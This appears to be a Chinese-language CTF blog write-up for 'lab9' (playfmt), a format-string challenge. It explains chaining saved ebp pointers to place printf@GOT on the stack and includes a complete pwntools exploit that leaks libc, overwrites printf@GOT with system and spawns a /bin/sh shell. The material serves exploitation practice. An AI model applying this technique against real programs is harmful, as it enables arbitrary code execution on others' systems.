lab9

作者: n0va | 来源:发表于2019-03-27 23:14 被阅读0次

    格式化字符串漏洞,不过是有点蛇皮的格式化字符串,学到了不少新姿势

    image.png

    很明显的格式化字符串,但同时也可以发现,我们的输入是写到bss段去的,那就有一个问题了,我们要怎么利用格式化字符串修改got表为system函数的地址,因为这里我们要解决怎么把某个函数的got值放到栈里面去
    先看一下栈中的情况

    image.png

    可以发现输入放在bss段且固定在esp,但是也发现了几个有用的地址ebp1,fmt7,ebp2,fmt11,他们的格式化字符的偏移分别为6,7,10,11,我们还发现了libc_start_main+247这个真实地址,先泄漏出这个真实地址就可以得到偏移,进而算出其它函数的地址

    06:0018│ ebp  0xffffcd48 —▸ 0xffffcd58 —▸ 0xffffcd68 ◂— 0x0
    07:001c│      0xffffcd4c —▸ 0x8048584 (play+59) ◂— nop    
    、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、
    0a:0028│      0xffffcd58 —▸ 0xffffcd68 ◂— 0x0
    0b:002c│      0xffffcd5c —▸ 0x80485b1 (main+42) ◂— nop
    

    我们可以看到ebp1是指向ebp2的指针,ebp2指向一个不知名的地址,这样我们就可以得到栈的地址,因此,如果我们使用%n对ebp1进行操作,那么实际上会修改ebp2的内容,所以,如果我们将ebp2修改为指向fmt7,那么就可以对ebp2进行%n操作来修改fmt7的内容,试想,把fmt7的内容修改为printf_got,这样就实现了把got值放到栈里面去了,接下来就可能通过偏移来进行修改,但是又有另一个问题,一次只能修改2个字节,而需要修改的有4 个字节,又因为我们本来就是利用 printf 函数实现修改的,所以只能一次性修改4个字节(如果修改的不是printf函数,因为有个while循环,可以回到再利用printf函数进行第二次修改)。所以我们可以把要修改的高2 个字节放到fmt11去,同时修改两个位置,这样就可以了,那么思路就出来了。

    1、先泄漏出libc_start_main的地址,算出偏移
    2、利用偏移得到system等函数的地址
    3、泄漏出栈地址
    4、利用ebp1指向ebp2的关系修改ebp2指向fmt7,进而修改fmt7为printf_got,修改ebp2指向fmt11,进而修改fmt11为printf_got+2
    5、修改fmt7和fmt11内容为system的地址
    6、发送'/bin/sh'做为system 的参数执行那可
    

    exp:

    #-*-coding:utf-8-*-
    #libc_start_main+247在偏移15处
    from pwn import *
    context.log_level = 'debug'
    p = process('./playfmt')
    # /lib/i386-linux-gnu/libc-2.23.so
    elf = ELF('./playfmt')
    libc = elf.libc 
    p.recv()
    #泄漏 libc_start_main 的地址 
    p.sendline('%15$p')
    libc_start_main = int(p.recv(),16)-247
    print 'libc_start_main-->' + hex(libc_start_main)
    # libc_start_main 的libc地址 
    libc_start_main_libc = libc.symbols['__libc_start_main']
    print 'libc_start_main_libc-->' + hex(libc_start_main_libc)
    offset = libc_start_main - libc_start_main_libc
    print 'offset-->' + hex(offset)
    system_addr = offset + libc.symbols['system']
    print 'system_addr-->' + hex(system_addr)
    printf_addr = offset + libc.symbols['printf']
    print 'printf_addr-->' + hex(printf_addr)  
    printf_got = elf.got['printf']
    print 'printf_got-->' + hex(printf_got)
    # one_gadget = 0x3ac5c + offset
    # print 'one_gadget-->' + hex(one_gadget)
    # 修改 printf_got 为 system_addr
    # 泄漏 ebp 
    p.sendline('%6$p')
    ebp2 = int(p.recv(),16) #10
    ebp1 = ebp2-0x10 #6
    fmt7 = ebp1+0x4
    fmt11 = ebp2+0x4
    print 'ebp1-->' + hex(ebp1)
    print 'ebp2-->' + hex(ebp2)
    print 'fmt7-->' + hex(fmt7)
    print 'fmt11-->' + hex(fmt11)
    pause()
    # 先将 ebp2 指向fmt7
    # gdb.attach(p,"b *0x0804853B")
    p.sendline('%'+str(fmt7&0xffff)+'c%6$hn')
    p.recv()
    # 再将 fmt7 修改为print_got
    p.sendline('%'+str(printf_got&0xffff)+'c%10$hn')
    p.recv()
    
    while True:
        p.send("n0va")
        sleep(0.1)
        data = p.recv()
        if data.find("n0va") != -1:
            break
    # 现在要将 fmt11 修改为print_got+2
    # 先将 ebp2 指向fmt11
    p.sendline('%'+str(fmt11&0xffff)+'c%6$hn')
    p.recv()
    #再将 fmt11 修改为printf_got+2(即printf_got的高4位现在在printf_got+2的低4位的位置)
    p.sendline('%'+str((printf_got+2)&0xffff)+'c%10$hn')
    p.recv()
    
    while True:
        p.send("n0va")
        sleep(0.1)
        data = p.recv()
        if data.find("n0va") != -1:
            break
    '''
    这个循环用于保证所有的字节都被输出,因为recv()一次最多只能接收0x1000
    个字节,所以要进行多次recv()才能保证全部字节都输出以便进行下面的操作
    需要注意的是,要构造一个字符串“n0va”来作标志,返回的大量字符串中如果
    包含了这个字符串那么说明之前构造的%n写入已经完成
    '''
    # --------到这里fmt7放着printf_got(即printf_addr),fmt11放着printf_got+2(即printf_addr的高4位移到了低4位的位置)
    # 修改printf_got 为sytem_addr   (要同时修改fmt7为print_addr的低4位,fmt11为printf_addr的高4位)
    # 修改printf_got 的低4位
    payload = '%'+str((system_addr&0xffff)-12)+'c%7$hn'     #在调试时发现,在'%...c'之前有3个'n0va'所以要-12才能保证正确定入
    # 修改printf_got 的高4位
    payload += '%'+str((system_addr>>16)-(system_addr&0xffff))+'c%11$hn'
    gdb.attach(p,"b *0x0804853B")
    p.sendline(payload)
    p.recv()
    
    while True:
        p.send("n0va")
        sleep(0.1)
        data = p.recv()
        if data.find("n0va") != -1:
            break
    p.sendline('/bin/sh')
    p.interactive()
    

    相关文章

      网友评论

          本文标题:lab9

          本文链接:https://www.haomeiwen.com/subject/djuxbqtx.html